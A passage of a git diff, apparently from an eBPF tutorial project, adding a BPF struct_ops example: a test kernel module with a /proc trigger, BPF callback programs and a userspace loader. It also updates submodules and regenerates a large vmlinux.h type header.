ops->test_3(kbuf, count); + pr_info("test_3() called with buffer\n"); + } + } else { + pr_info("No struct_ops registered\n"); + } + rcu_read_unlock(); + + return count; +} + +static const struct proc_ops trigger_proc_ops = { + .proc_write = trigger_write, +}; + +static int __init testmod_init(void) +{ + int ret; + + /* Register the struct_ops */ + ret = register_bpf_struct_ops(&bpf_testmod_ops_struct_ops, bpf_testmod_ops); + if (ret) { + pr_err("Failed to register struct_ops: %d\n", ret); + return ret; + } + + /* Create proc file for triggering */ + trigger_file = proc_create("bpf_testmod_trigger", 0222, NULL, &trigger_proc_ops); + if (!trigger_file) { + /* Note: No unregister function available in this kernel version */ + return -ENOMEM; + } + + pr_info("bpf_testmod loaded with struct_ops support\n"); + return 0; +} + +static void __exit testmod_exit(void) +{ + proc_remove(trigger_file); + /* Note: struct_ops unregister happens automatically on module unload */ + pr_info("bpf_testmod unloaded\n"); +} + +module_init(testmod_init); +module_exit(testmod_exit); + +MODULE_LICENSE("GPL"); +MODULE_AUTHOR("eBPF Example"); +MODULE_DESCRIPTION("BPF struct_ops test module"); +MODULE_VERSION("1.0"); \ No newline at end of file diff --git a/src/features/struct_ops/struct_ops.bpf.c b/src/features/struct_ops/struct_ops.bpf.c new file mode 100644 index 00000000..aea47bd6 --- /dev/null +++ b/src/features/struct_ops/struct_ops.bpf.c @@ -0,0 +1,55 @@ +/* SPDX-License-Identifier: GPL-2.0 */ +#include +#include +#include +#include "module/bpf_testmod.h" + +char _license[] SEC("license") = "GPL"; + +/* Implement the struct_ops callbacks */ +SEC("struct_ops/test_1") +int BPF_PROG(bpf_testmod_test_1) +{ + bpf_printk("BPF test_1 called!\n"); + return 42; +} + +SEC("struct_ops/test_2") +int BPF_PROG(bpf_testmod_test_2, int a, int b) +{ + int result = a + b; + bpf_printk("BPF test_2 called: %d + %d = %d\n", a, b, result); + return result; +} + +SEC("struct_ops/test_3") +int BPF_PROG(bpf_testmod_test_3, const char *buf, int len) +{ + char read_buf[64] = {0}; + int read_len = len < sizeof(read_buf) ? len : sizeof(read_buf) - 1; + + bpf_printk("BPF test_3 called with buffer length %d\n", len); + + /* Safely read from kernel buffer using bpf_probe_read_kernel */ + if (buf && read_len > 0) { + long ret = bpf_probe_read_kernel(read_buf, read_len, buf); + if (ret == 0) { + /* Successfully read buffer - print first few characters */ + bpf_printk("Buffer content: '%c%c%c%c'\n", + read_buf[0], read_buf[1], read_buf[2], read_buf[3]); + bpf_printk("Full buffer: %s\n", read_buf); + } else { + bpf_printk("Failed to read buffer, ret=%ld\n", ret); + } + } + + return len; +} + +/* Define the struct_ops map */ +SEC(".struct_ops") +struct bpf_testmod_ops testmod_ops = { + .test_1 = (void *)bpf_testmod_test_1, + .test_2 = (void *)bpf_testmod_test_2, + .test_3 = (void *)bpf_testmod_test_3, +}; diff --git a/src/features/struct_ops/struct_ops.c b/src/features/struct_ops/struct_ops.c new file mode 100644 index 00000000..738111b9 --- /dev/null +++ b/src/features/struct_ops/struct_ops.c @@ -0,0 +1,95 @@ +#include +#include +#include +#include +#include +#include +#include +#include + +#include "struct_ops.skel.h" + +static volatile bool exiting = false; + +void handle_signal(int sig) { + exiting = true; +} + +static int trigger_struct_ops(const char *message) { + int fd, ret; + + fd = open("/proc/bpf_testmod_trigger", O_WRONLY); + if (fd < 0) { + perror("open /proc/bpf_testmod_trigger"); + return -1; + } + + ret = write(fd, message, strlen(message)); + if (ret < 0) { + perror("write"); + close(fd); + return -1; + } + + close(fd); + return 0; +} + +int main(int argc, char **argv) { + struct struct_ops_bpf *skel; + struct bpf_link *link; + int err; + + signal(SIGINT, handle_signal); + signal(SIGTERM, handle_signal); + + /* Open BPF application */ + skel = struct_ops_bpf__open(); + if (!skel) { + fprintf(stderr, "Failed to open BPF skeleton\n"); + return 1; + } + + /* Load BPF programs */ + err = struct_ops_bpf__load(skel); + if (err) { + fprintf(stderr, "Failed to load BPF skeleton: %d\n", err); + goto cleanup; + } + + /* Register struct_ops */ + link = bpf_map__attach_struct_ops(skel->maps.testmod_ops); + if (!link) { + fprintf(stderr, "Failed to attach struct_ops\n"); + err = -1; + goto cleanup; + } + + printf("Successfully loaded and attached BPF struct_ops!\n"); + printf("Triggering struct_ops callbacks...\n"); + + /* Trigger the struct_ops by writing to proc file */ + if (trigger_struct_ops("Hello from userspace!") < 0) { + printf("Failed to trigger struct_ops - is the kernel module loaded?\n"); + printf("Load it with: sudo insmod module/hello.ko\n"); + } else { + printf("Triggered struct_ops successfully! Check dmesg for output.\n"); + } + + printf("\nPress Ctrl-C to exit...\n"); + + /* Main loop - trigger periodically */ + while (!exiting) { + sleep(2); + if (!exiting && trigger_struct_ops("Periodic trigger") == 0) { + printf("Triggered struct_ops again...\n"); + } + } + + printf("\nDetaching struct_ops...\n"); + bpf_link__destroy(link); + +cleanup: + struct_ops_bpf__destroy(skel); + return err < 0 ? -err : 0; +} diff --git a/src/third_party/blazesym b/src/third_party/blazesym index c57e6d62..e4f0557f 160000 --- a/src/third_party/blazesym +++ b/src/third_party/blazesym @@ -1 +1 @@ -Subproject commit c57e6d623b88340d500e2ab0b2700ec9e9d4f398 +Subproject commit e4f0557f6a0d02dc03526bca6977a6100e9cce94 diff --git a/src/third_party/book-picture.png b/src/third_party/book-picture.png new file mode 100644 index 00000000..ec9184cd Binary files /dev/null and b/src/third_party/book-picture.png differ diff --git a/src/third_party/bpftool b/src/third_party/bpftool index 88156afd..3be8ac35 160000 --- a/src/third_party/bpftool +++ b/src/third_party/bpftool @@ -1 +1 @@ -Subproject commit 88156afd0fb486fe1a54cefe0dd3b0b744fcec61 +Subproject commit 3be8ac358900c5f57028b2b6501407a14167a9bb diff --git a/src/third_party/libbpf b/src/third_party/libbpf deleted file mode 160000 index 56069cda..00000000 --- a/src/third_party/libbpf +++ /dev/null @@ -1 +0,0 @@ -Subproject commit 56069cda7897afdd0ae2478825845c7a7308c878 diff --git a/src/third_party/libbpf b/src/third_party/libbpf new file mode 120000 index 00000000..b56801b5 --- /dev/null +++ b/src/third_party/libbpf @@ -0,0 +1 @@ +bpftool/libbpf \ No newline at end of file diff --git a/src/third_party/vmlinux/x86/vmlinux_601.h b/src/third_party/vmlinux/x86/vmlinux_601.h index 793ca6fa..8bbb8e70 100644 --- a/src/third_party/vmlinux/x86/vmlinux_601.h +++ b/src/third_party/vmlinux/x86/vmlinux_601.h @@ -1,98319 +1,143521 @@ -#ifndef __VMLINUX_H__ -#define __VMLINUX_H__ - -#ifndef BPF_NO_PRESERVE_ACCESS_INDEX -#pragma clang attribute push (__attribute__((preserve_access_index)), apply_to = record) -#endif - -typedef signed char __s8; - -typedef unsigned char __u8; - -typedef short int __s16; - -typedef short unsigned int __u16; - -typedef int __s32; - -typedef unsigned int __u32; - -typedef long long int __s64; - -typedef long long unsigned int __u64; - -typedef __s8 s8; - -typedef __u8 u8; - -typedef __s16 s16; - -typedef __u16 u16; - -typedef __s32 s32; - -typedef __u32 u32; - -typedef __s64 s64; - -typedef __u64 u64; - -enum { - false = 0, - true = 1, -}; - -typedef long int __kernel_long_t; - -typedef long unsigned int __kernel_ulong_t; - -typedef int __kernel_pid_t; - -typedef unsigned int __kernel_uid32_t; - -typedef unsigned int __kernel_gid32_t; - -typedef __kernel_ulong_t __kernel_size_t; - -typedef __kernel_long_t __kernel_ssize_t; - -typedef long long int __kernel_loff_t; - -typedef long long int __kernel_time64_t; - -typedef __kernel_long_t __kernel_clock_t; - -typedef int __kernel_timer_t; - -typedef int __kernel_clockid_t; - -typedef unsigned int __poll_t; - -typedef u32 __kernel_dev_t; - -typedef __kernel_dev_t dev_t; - -typedef short unsigned int umode_t; - -typedef __kernel_pid_t pid_t; - -typedef __kernel_clockid_t clockid_t; - -typedef _Bool bool; - -typedef __kernel_uid32_t uid_t; - -typedef __kernel_gid32_t gid_t; - -typedef __kernel_loff_t loff_t; - -typedef __kernel_size_t size_t; - -typedef __kernel_ssize_t ssize_t; - -typedef s32 int32_t; - -typedef u32 uint32_t; - -typedef u64 sector_t; - -typedef u64 blkcnt_t; - -typedef unsigned int gfp_t; - -typedef unsigned int fmode_t; - -typedef u64 phys_addr_t; - -typedef struct { - int counter; -} atomic_t; - -typedef struct { - s64 counter; -} atomic64_t; - -struct list_head { - struct list_head *next; - struct list_head *prev; -}; - -struct hlist_node; - -struct hlist_head { - struct hlist_node *first; -}; - -struct hlist_node { - struct hlist_node *next; - struct hlist_node **pprev; -}; - -struct callback_head { - struct callback_head *next; - void (*func)(struct callback_head *); -}; - -struct kernel_symbol { - int value_offset; - int name_offset; - int namespace_offset; -}; - -struct lockdep_subclass_key { - char __one_byte; -}; - -struct lock_class_key { - union { - struct hlist_node hash_entry; - struct lockdep_subclass_key subkeys[8]; - }; -}; - -struct fs_context; - -struct fs_parameter_spec; - -struct dentry; - -struct super_block; - -struct module; - -struct file_system_type { - const char *name; - int fs_flags; - int (*init_fs_context)(struct fs_context *); - const struct fs_parameter_spec *parameters; - struct dentry * (*mount)(struct file_system_type *, int, const char *, void *); - void (*kill_sb)(struct super_block *); - struct module *owner; - struct file_system_type *next; - struct hlist_head fs_supers; - struct lock_class_key s_lock_key; - struct lock_class_key s_umount_key; - struct lock_class_key s_vfs_rename_key; - struct lock_class_key s_writers_key[3]; - struct lock_class_key i_lock_key; - struct lock_class_key i_mutex_key; - struct lock_class_key invalidate_lock_key; - struct lock_class_key i_mutex_dir_key; -}; - -struct qspinlock { - union { - atomic_t val; - struct { - u8 locked; - u8 pending; - }; - struct { - u16 locked_pending; - u16 tail; - }; - }; -}; - -typedef struct qspinlock arch_spinlock_t; - -struct qrwlock { - union { - atomic_t cnts; - struct { - u8 wlocked; - u8 __lstate[3]; - }; - }; - arch_spinlock_t wait_lock; -}; - -typedef struct qrwlock arch_rwlock_t; - -struct lock_trace; - -struct lock_class { - struct hlist_node hash_entry; - struct list_head lock_entry; - struct list_head locks_after; - struct list_head locks_before; - const struct lockdep_subclass_key *key; - unsigned int subclass; - unsigned int dep_gen_id; - long unsigned int usage_mask; - const struct lock_trace *usage_traces[10]; - int name_version; - const char *name; - u8 wait_type_inner; - u8 wait_type_outer; - u8 lock_type; -}; - -struct lock_trace { - struct hlist_node hash_entry; - u32 hash; - u32 nr_entries; - long unsigned int entries[0]; -}; - -struct lockdep_map { - struct lock_class_key *key; - struct lock_class *class_cache[2]; - const char *name; - u8 wait_type_outer; - u8 wait_type_inner; - u8 lock_type; -}; - -struct raw_spinlock { - arch_spinlock_t raw_lock; - unsigned int magic; - unsigned int owner_cpu; - void *owner; - struct lockdep_map dep_map; -}; - -typedef struct raw_spinlock raw_spinlock_t; - -struct ratelimit_state { - raw_spinlock_t lock; - int interval; - int burst; - int printed; - int missed; - long unsigned int begin; - long unsigned int flags; -}; - -typedef void *fl_owner_t; - -struct file; - -struct kiocb; - -struct iov_iter; - -struct io_comp_batch; - -struct dir_context; - -struct poll_table_struct; - -struct vm_area_struct; - -struct inode; - -struct file_lock; - -struct page; - -struct pipe_inode_info; - -struct seq_file; - -struct io_uring_cmd; - -struct file_operations { - struct module *owner; - loff_t (*llseek)(struct file *, loff_t, int); - ssize_t (*read)(struct file *, char *, size_t, loff_t *); - ssize_t (*write)(struct file *, const char *, size_t, loff_t *); - ssize_t (*read_iter)(struct kiocb *, struct iov_iter *); - ssize_t (*write_iter)(struct kiocb *, struct iov_iter *); - int (*iopoll)(struct kiocb *, struct io_comp_batch *, unsigned int); - int (*iterate)(struct file *, struct dir_context *); - int (*iterate_shared)(struct file *, struct dir_context *); - __poll_t (*poll)(struct file *, struct poll_table_struct *); - long int (*unlocked_ioctl)(struct file *, unsigned int, long unsigned int); - long int (*compat_ioctl)(struct file *, unsigned int, long unsigned int); - int (*mmap)(struct file *, struct vm_area_struct *); - long unsigned int mmap_supported_flags; - int (*open)(struct inode *, struct file *); - int (*flush)(struct file *, fl_owner_t); - int (*release)(struct inode *, struct file *); - int (*fsync)(struct file *, loff_t, loff_t, int); - int (*fasync)(int, struct file *, int); - int (*lock)(struct file *, int, struct file_lock *); - ssize_t (*sendpage)(struct file *, struct page *, int, size_t, loff_t *, int); - long unsigned int (*get_unmapped_area)(struct file *, long unsigned int, long unsigned int, long unsigned int, long unsigned int); - int (*check_flags)(int); - int (*flock)(struct file *, int, struct file_lock *); - ssize_t (*splice_write)(struct pipe_inode_info *, struct file *, loff_t *, size_t, unsigned int); - ssize_t (*splice_read)(struct file *, loff_t *, struct pipe_inode_info *, size_t, unsigned int); - int (*setlease)(struct file *, long int, struct file_lock **, void **); - long int (*fallocate)(struct file *, int, loff_t, loff_t); - void (*show_fdinfo)(struct seq_file *, struct file *); - ssize_t (*copy_file_range)(struct file *, loff_t, struct file *, loff_t, size_t, unsigned int); - loff_t (*remap_file_range)(struct file *, loff_t, struct file *, loff_t, loff_t, unsigned int); - int (*fadvise)(struct file *, loff_t, loff_t, int); - int (*uring_cmd)(struct io_uring_cmd *, unsigned int); - int (*uring_cmd_iopoll)(struct io_uring_cmd *, struct io_comp_batch *, unsigned int); -}; - -struct static_call_site { - s32 addr; - s32 key; -}; - -struct static_call_mod { - struct static_call_mod *next; - struct module *mod; - struct static_call_site *sites; -}; - -struct static_call_key { - void *func; - union { - long unsigned int type; - struct static_call_mod *mods; - struct static_call_site *sites; - }; -}; - -struct thread_info { - long unsigned int flags; - long unsigned int syscall_work; - u32 status; - u32 cpu; -}; - -struct refcount_struct { - atomic_t refs; -}; - -typedef struct refcount_struct refcount_t; - -struct llist_node { - struct llist_node *next; -}; - -struct __call_single_node { - struct llist_node llist; - union { - unsigned int u_flags; - atomic_t a_flags; - }; - u16 src; - u16 dst; -}; - -struct load_weight { - long unsigned int weight; - u32 inv_weight; -}; - -struct rb_node { - long unsigned int __rb_parent_color; - struct rb_node *rb_right; - struct rb_node *rb_left; -}; - -struct util_est { - unsigned int enqueued; - unsigned int ewma; -}; - -struct sched_avg { - u64 last_update_time; - u64 load_sum; - u64 runnable_sum; - u32 util_sum; - u32 period_contrib; - long unsigned int load_avg; - long unsigned int runnable_avg; - long unsigned int util_avg; - struct util_est util_est; -}; - -struct cfs_rq; - -struct sched_entity { - struct load_weight load; - struct rb_node run_node; - struct list_head group_node; - unsigned int on_rq; - u64 exec_start; - u64 sum_exec_runtime; - u64 vruntime; - u64 prev_sum_exec_runtime; - u64 nr_migrations; - int depth; - struct sched_entity *parent; - struct cfs_rq *cfs_rq; - struct cfs_rq *my_q; - long unsigned int runnable_weight; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - struct sched_avg avg; -}; - -struct sched_rt_entity { - struct list_head run_list; - long unsigned int timeout; - long unsigned int watchdog_stamp; - unsigned int time_slice; - short unsigned int on_rq; - short unsigned int on_list; - struct sched_rt_entity *back; -}; - -typedef s64 ktime_t; - -struct timerqueue_node { - struct rb_node node; - ktime_t expires; -}; - -enum hrtimer_restart { - HRTIMER_NORESTART = 0, - HRTIMER_RESTART = 1, -}; - -struct hrtimer_clock_base; - -struct hrtimer { - struct timerqueue_node node; - ktime_t _softexpires; - enum hrtimer_restart (*function)(struct hrtimer *); - struct hrtimer_clock_base *base; - u8 state; - u8 is_rel; - u8 is_soft; - u8 is_hard; -}; - -struct sched_dl_entity { - struct rb_node rb_node; - u64 dl_runtime; - u64 dl_deadline; - u64 dl_period; - u64 dl_bw; - u64 dl_density; - s64 runtime; - u64 deadline; - unsigned int flags; - unsigned int dl_throttled: 1; - unsigned int dl_yielded: 1; - unsigned int dl_non_contending: 1; - unsigned int dl_overrun: 1; - struct hrtimer dl_timer; - struct hrtimer inactive_timer; - struct sched_dl_entity *pi_se; -}; - -struct sched_statistics { - u64 wait_start; - u64 wait_max; - u64 wait_count; - u64 wait_sum; - u64 iowait_count; - u64 iowait_sum; - u64 sleep_start; - u64 sleep_max; - s64 sum_sleep_runtime; - u64 block_start; - u64 block_max; - s64 sum_block_runtime; - u64 exec_max; - u64 slice_max; - u64 nr_migrations_cold; - u64 nr_failed_migrations_affine; - u64 nr_failed_migrations_running; - u64 nr_failed_migrations_hot; - u64 nr_forced_migrations; - u64 nr_wakeups; - u64 nr_wakeups_sync; - u64 nr_wakeups_migrate; - u64 nr_wakeups_local; - u64 nr_wakeups_remote; - u64 nr_wakeups_affine; - u64 nr_wakeups_affine_attempts; - u64 nr_wakeups_passive; - u64 nr_wakeups_idle; - long: 64; - long: 64; - long: 64; - long: 64; -}; - -struct cpumask { - long unsigned int bits[2]; -}; - -typedef struct cpumask cpumask_t; - -union rcu_special { - struct { - u8 blocked; - u8 need_qs; - u8 exp_hint; - u8 need_mb; - } b; - u32 s; -}; - -struct sched_info { - long unsigned int pcount; - long long unsigned int run_delay; - long long unsigned int last_arrival; - long long unsigned int last_queued; -}; - -struct plist_node { - int prio; - struct list_head prio_list; - struct list_head node_list; -}; - -struct task_rss_stat { - int events; - int count[4]; -}; - -enum timespec_type { - TT_NONE = 0, - TT_NATIVE = 1, - TT_COMPAT = 2, -}; - -struct __kernel_timespec; - -struct old_timespec32; - -struct pollfd; - -struct restart_block { - long unsigned int arch_data; - long int (*fn)(struct restart_block *); - union { - struct { - u32 *uaddr; - u32 val; - u32 flags; - u32 bitset; - u64 time; - u32 *uaddr2; - } futex; - struct { - clockid_t clockid; - enum timespec_type type; - union { - struct __kernel_timespec *rmtp; - struct old_timespec32 *compat_rmtp; - }; - u64 expires; - } nanosleep; - struct { - struct pollfd *ufds; - int nfds; - int has_timeout; - long unsigned int tv_sec; - long unsigned int tv_nsec; - } poll; - }; -}; - -struct prev_cputime { - u64 utime; - u64 stime; - raw_spinlock_t lock; -}; - -struct rb_root { - struct rb_node *rb_node; -}; - -struct rb_root_cached { - struct rb_root rb_root; - struct rb_node *rb_leftmost; -}; - -struct timerqueue_head { - struct rb_root_cached rb_root; -}; - -struct posix_cputimer_base { - u64 nextevt; - struct timerqueue_head tqhead; -}; - -struct posix_cputimers { - struct posix_cputimer_base bases[3]; - unsigned int timers_active; - unsigned int expiry_active; -}; - -struct posix_cputimers_work { - struct callback_head work; - unsigned int scheduled; -}; - -struct sem_undo_list; - -struct sysv_sem { - struct sem_undo_list *undo_list; -}; - -struct sysv_shm { - struct list_head shm_clist; -}; - -typedef struct { - long unsigned int sig[1]; -} sigset_t; - -struct sigpending { - struct list_head list; - sigset_t signal; -}; - -typedef struct { - uid_t val; -} kuid_t; - -struct seccomp_filter; - -struct seccomp { - int mode; - atomic_t filter_count; - struct seccomp_filter *filter; -}; - -struct syscall_user_dispatch { - char *selector; - long unsigned int offset; - long unsigned int len; - bool on_dispatch; -}; - -struct spinlock { - union { - struct raw_spinlock rlock; - struct { - u8 __padding[24]; - struct lockdep_map dep_map; - }; - }; -}; - -typedef struct spinlock spinlock_t; - -struct wake_q_node { - struct wake_q_node *next; -}; - -struct irqtrace_events { - unsigned int irq_events; - long unsigned int hardirq_enable_ip; - long unsigned int hardirq_disable_ip; - unsigned int hardirq_enable_event; - unsigned int hardirq_disable_event; - long unsigned int softirq_disable_ip; - long unsigned int softirq_enable_ip; - unsigned int softirq_disable_event; - unsigned int softirq_enable_event; -}; - -struct held_lock { - u64 prev_chain_key; - long unsigned int acquire_ip; - struct lockdep_map *instance; - struct lockdep_map *nest_lock; - unsigned int class_idx: 13; - unsigned int irq_context: 2; - unsigned int trylock: 1; - unsigned int read: 2; - unsigned int check: 1; - unsigned int hardirqs_off: 1; - unsigned int references: 12; - unsigned int pin_count; -}; - -struct task_io_accounting { - u64 rchar; - u64 wchar; - u64 syscr; - u64 syscw; - u64 read_bytes; - u64 write_bytes; - u64 cancelled_write_bytes; -}; - -typedef struct { - long unsigned int bits[1]; -} nodemask_t; - -struct seqcount { - unsigned int sequence; - struct lockdep_map dep_map; -}; - -typedef struct seqcount seqcount_t; - -struct seqcount_spinlock { - seqcount_t seqcount; - spinlock_t *lock; -}; - -typedef struct seqcount_spinlock seqcount_spinlock_t; - -typedef atomic64_t atomic_long_t; - -struct optimistic_spin_queue { - atomic_t tail; -}; - -struct mutex { - atomic_long_t owner; - raw_spinlock_t wait_lock; - struct optimistic_spin_queue osq; - struct list_head wait_list; - void *magic; - struct lockdep_map dep_map; -}; - -struct arch_tlbflush_unmap_batch { - struct cpumask cpumask; -}; - -struct tlbflush_unmap_batch { - struct arch_tlbflush_unmap_batch arch; - bool flush_required; - bool writable; -}; - -struct page_frag { - struct page *page; - __u32 offset; - __u32 size; -}; - -struct kmap_ctrl {}; - -struct timer_list { - struct hlist_node entry; - long unsigned int expires; - void (*function)(struct timer_list *); - u32 flags; - struct lockdep_map lockdep_map; -}; - -struct llist_head { - struct llist_node *first; -}; - -struct desc_struct { - u16 limit0; - u16 base0; - u16 base1: 8; - u16 type: 4; - u16 s: 1; - u16 dpl: 2; - u16 p: 1; - u16 limit1: 4; - u16 avl: 1; - u16 l: 1; - u16 d: 1; - u16 g: 1; - u16 base2: 8; -}; - -struct fpu_state_perm { - u64 __state_perm; - unsigned int __state_size; - unsigned int __user_state_size; -}; - -struct fregs_state { - u32 cwd; - u32 swd; - u32 twd; - u32 fip; - u32 fcs; - u32 foo; - u32 fos; - u32 st_space[20]; - u32 status; -}; - -struct fxregs_state { - u16 cwd; - u16 swd; - u16 twd; - u16 fop; - union { - struct { - u64 rip; - u64 rdp; - }; - struct { - u32 fip; - u32 fcs; - u32 foo; - u32 fos; - }; - }; - u32 mxcsr; - u32 mxcsr_mask; - u32 st_space[32]; - u32 xmm_space[64]; - u32 padding[12]; - union { - u32 padding1[12]; - u32 sw_reserved[12]; - }; -}; - -struct math_emu_info; - -struct swregs_state { - u32 cwd; - u32 swd; - u32 twd; - u32 fip; - u32 fcs; - u32 foo; - u32 fos; - u32 st_space[20]; - u8 ftop; - u8 changed; - u8 lookahead; - u8 no_update; - u8 rm; - u8 alimit; - struct math_emu_info *info; - u32 entry_eip; -}; - -struct xstate_header { - u64 xfeatures; - u64 xcomp_bv; - u64 reserved[6]; -}; - -struct xregs_state { - struct fxregs_state i387; - struct xstate_header header; - u8 extended_state_area[0]; -}; - -union fpregs_state { - struct fregs_state fsave; - struct fxregs_state fxsave; - struct swregs_state soft; - struct xregs_state xsave; - u8 __padding[4096]; -}; - -struct fpstate { - unsigned int size; - unsigned int user_size; - u64 xfeatures; - u64 user_xfeatures; - u64 xfd; - unsigned int is_valloc: 1; - unsigned int is_guest: 1; - unsigned int is_confidential: 1; - unsigned int in_use: 1; - long: 64; - long: 64; - long: 64; - union fpregs_state regs; -}; - -struct fpu { - unsigned int last_cpu; - long unsigned int avx512_timestamp; - struct fpstate *fpstate; - struct fpstate *__task_fpstate; - struct fpu_state_perm perm; - struct fpu_state_perm guest_perm; - struct fpstate __fpstate; -}; - -struct perf_event; - -struct io_bitmap; - -struct thread_struct { - struct desc_struct tls_array[3]; - long unsigned int sp; - short unsigned int es; - short unsigned int ds; - short unsigned int fsindex; - short unsigned int gsindex; - long unsigned int fsbase; - long unsigned int gsbase; - struct perf_event *ptrace_bps[4]; - long unsigned int virtual_dr6; - long unsigned int ptrace_dr7; - long unsigned int cr2; - long unsigned int trap_nr; - long unsigned int error_code; - struct io_bitmap *io_bitmap; - long unsigned int iopl_emul; - unsigned int iopl_warn: 1; - unsigned int sig_on_uaccess_err: 1; - u32 pkru; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - struct fpu fpu; -}; - -struct sched_class; - -struct task_group; - -struct rcu_node; - -struct mm_struct; - -struct pid; - -struct completion; - -struct cred; - -struct key; - -struct nameidata; - -struct fs_struct; - -struct files_struct; - -struct io_uring_task; - -struct nsproxy; - -struct signal_struct; - -struct sighand_struct; - -struct audit_context; - -struct rt_mutex_waiter; - -struct mutex_waiter; - -struct bio_list; - -struct blk_plug; - -struct reclaim_state; - -struct backing_dev_info; - -struct io_context; - -struct capture_control; - -struct kernel_siginfo; - -typedef struct kernel_siginfo kernel_siginfo_t; - -struct css_set; - -struct robust_list_head; - -struct futex_pi_state; - -struct perf_event_context; - -struct mempolicy; - -struct numa_group; - -struct rseq; - -struct task_delay_info; - -struct ftrace_ret_stack; - -struct mem_cgroup; - -struct request_queue; - -struct uprobe_task; - -struct vm_struct; - -struct bpf_local_storage; - -struct bpf_run_ctx; - -struct task_struct { - struct thread_info thread_info; - unsigned int __state; - void *stack; - refcount_t usage; - unsigned int flags; - unsigned int ptrace; - int on_cpu; - struct __call_single_node wake_entry; - unsigned int wakee_flips; - long unsigned int wakee_flip_decay_ts; - struct task_struct *last_wakee; - int recent_used_cpu; - int wake_cpu; - int on_rq; - int prio; - int static_prio; - int normal_prio; - unsigned int rt_priority; - struct sched_entity se; - struct sched_rt_entity rt; - struct sched_dl_entity dl; - const struct sched_class *sched_class; - struct task_group *sched_task_group; - long: 64; - long: 64; - long: 64; - long: 64; - struct sched_statistics stats; - unsigned int btrace_seq; - unsigned int policy; - int nr_cpus_allowed; - const cpumask_t *cpus_ptr; - cpumask_t *user_cpus_ptr; - cpumask_t cpus_mask; - void *migration_pending; - short unsigned int migration_disabled; - short unsigned int migration_flags; - int rcu_read_lock_nesting; - union rcu_special rcu_read_unlock_special; - struct list_head rcu_node_entry; - struct rcu_node *rcu_blocked_node; - long unsigned int rcu_tasks_nvcsw; - u8 rcu_tasks_holdout; - u8 rcu_tasks_idx; - int rcu_tasks_idle_cpu; - struct list_head rcu_tasks_holdout_list; - int trc_reader_nesting; - int trc_ipi_to_cpu; - union rcu_special trc_reader_special; - struct list_head trc_holdout_list; - struct list_head trc_blkd_node; - int trc_blkd_cpu; - struct sched_info sched_info; - struct list_head tasks; - struct plist_node pushable_tasks; - struct rb_node pushable_dl_tasks; - struct mm_struct *mm; - struct mm_struct *active_mm; - struct task_rss_stat rss_stat; - int exit_state; - int exit_code; - int exit_signal; - int pdeath_signal; - long unsigned int jobctl; - unsigned int personality; - unsigned int sched_reset_on_fork: 1; - unsigned int sched_contributes_to_load: 1; - unsigned int sched_migrated: 1; - long: 29; - unsigned int sched_remote_wakeup: 1; - unsigned int in_execve: 1; - unsigned int in_iowait: 1; - unsigned int restore_sigmask: 1; - unsigned int in_user_fault: 1; - unsigned int brk_randomized: 1; - unsigned int no_cgroup_migration: 1; - unsigned int frozen: 1; - unsigned int use_memdelay: 1; - unsigned int in_eventfd: 1; - unsigned int reported_split_lock: 1; - unsigned int in_thrashing: 1; - long unsigned int atomic_flags; - struct restart_block restart_block; - pid_t pid; - pid_t tgid; - long unsigned int stack_canary; - struct task_struct *real_parent; - struct task_struct *parent; - struct list_head children; - struct list_head sibling; - struct task_struct *group_leader; - struct list_head ptraced; - struct list_head ptrace_entry; - struct pid *thread_pid; - struct hlist_node pid_links[4]; - struct list_head thread_group; - struct list_head thread_node; - struct completion *vfork_done; - int *set_child_tid; - int *clear_child_tid; - void *worker_private; - u64 utime; - u64 stime; - u64 gtime; - struct prev_cputime prev_cputime; - long unsigned int nvcsw; - long unsigned int nivcsw; - u64 start_time; - u64 start_boottime; - long unsigned int min_flt; - long unsigned int maj_flt; - struct posix_cputimers posix_cputimers; - struct posix_cputimers_work posix_cputimers_work; - const struct cred *ptracer_cred; - const struct cred *real_cred; - const struct cred *cred; - struct key *cached_requested_key; - char comm[16]; - struct nameidata *nameidata; - struct sysv_sem sysvsem; - struct sysv_shm sysvshm; - long unsigned int last_switch_count; - long unsigned int last_switch_time; - struct fs_struct *fs; - struct files_struct *files; - struct io_uring_task *io_uring; - struct nsproxy *nsproxy; - struct signal_struct *signal; - struct sighand_struct *sighand; - sigset_t blocked; - sigset_t real_blocked; - sigset_t saved_sigmask; - struct sigpending pending; - long unsigned int sas_ss_sp; - size_t sas_ss_size; - unsigned int sas_ss_flags; - struct callback_head *task_works; - struct audit_context *audit_context; - kuid_t loginuid; - unsigned int sessionid; - struct seccomp seccomp; - struct syscall_user_dispatch syscall_dispatch; - u64 parent_exec_id; - u64 self_exec_id; - spinlock_t alloc_lock; - raw_spinlock_t pi_lock; - struct wake_q_node wake_q; - struct rb_root_cached pi_waiters; - struct task_struct *pi_top_task; - struct rt_mutex_waiter *pi_blocked_on; - struct mutex_waiter *blocked_on; - int non_block_count; - struct irqtrace_events irqtrace; - unsigned int hardirq_threaded; - u64 hardirq_chain_key; - int softirqs_enabled; - int softirq_context; - int irq_config; - u64 curr_chain_key; - int lockdep_depth; - unsigned int lockdep_recursion; - struct held_lock held_locks[48]; - void *journal_info; - struct bio_list *bio_list; - struct blk_plug *plug; - struct reclaim_state *reclaim_state; - struct backing_dev_info *backing_dev_info; - struct io_context *io_context; - struct capture_control *capture_control; - long unsigned int ptrace_message; - kernel_siginfo_t *last_siginfo; - struct task_io_accounting ioac; - u64 acct_rss_mem1; - u64 acct_vm_mem1; - u64 acct_timexpd; - nodemask_t mems_allowed; - seqcount_spinlock_t mems_allowed_seq; - int cpuset_mem_spread_rotor; - int cpuset_slab_spread_rotor; - struct css_set *cgroups; - struct list_head cg_list; - struct robust_list_head *robust_list; - struct list_head pi_state_list; - struct futex_pi_state *pi_state_cache; - struct mutex futex_exit_mutex; - unsigned int futex_state; - struct perf_event_context *perf_event_ctxp[2]; - struct mutex perf_event_mutex; - struct list_head perf_event_list; - long unsigned int preempt_disable_ip; - struct mempolicy *mempolicy; - short int il_prev; - short int pref_node_fork; - int numa_scan_seq; - unsigned int numa_scan_period; - unsigned int numa_scan_period_max; - int numa_preferred_nid; - long unsigned int numa_migrate_retry; - u64 node_stamp; - u64 last_task_numa_placement; - u64 last_sum_exec_runtime; - struct callback_head numa_work; - struct numa_group *numa_group; - long unsigned int *numa_faults; - long unsigned int total_numa_faults; - long unsigned int numa_faults_locality[3]; - long unsigned int numa_pages_migrated; - struct rseq *rseq; - u32 rseq_sig; - long unsigned int rseq_event_mask; - struct tlbflush_unmap_batch tlb_ubc; - union { - refcount_t 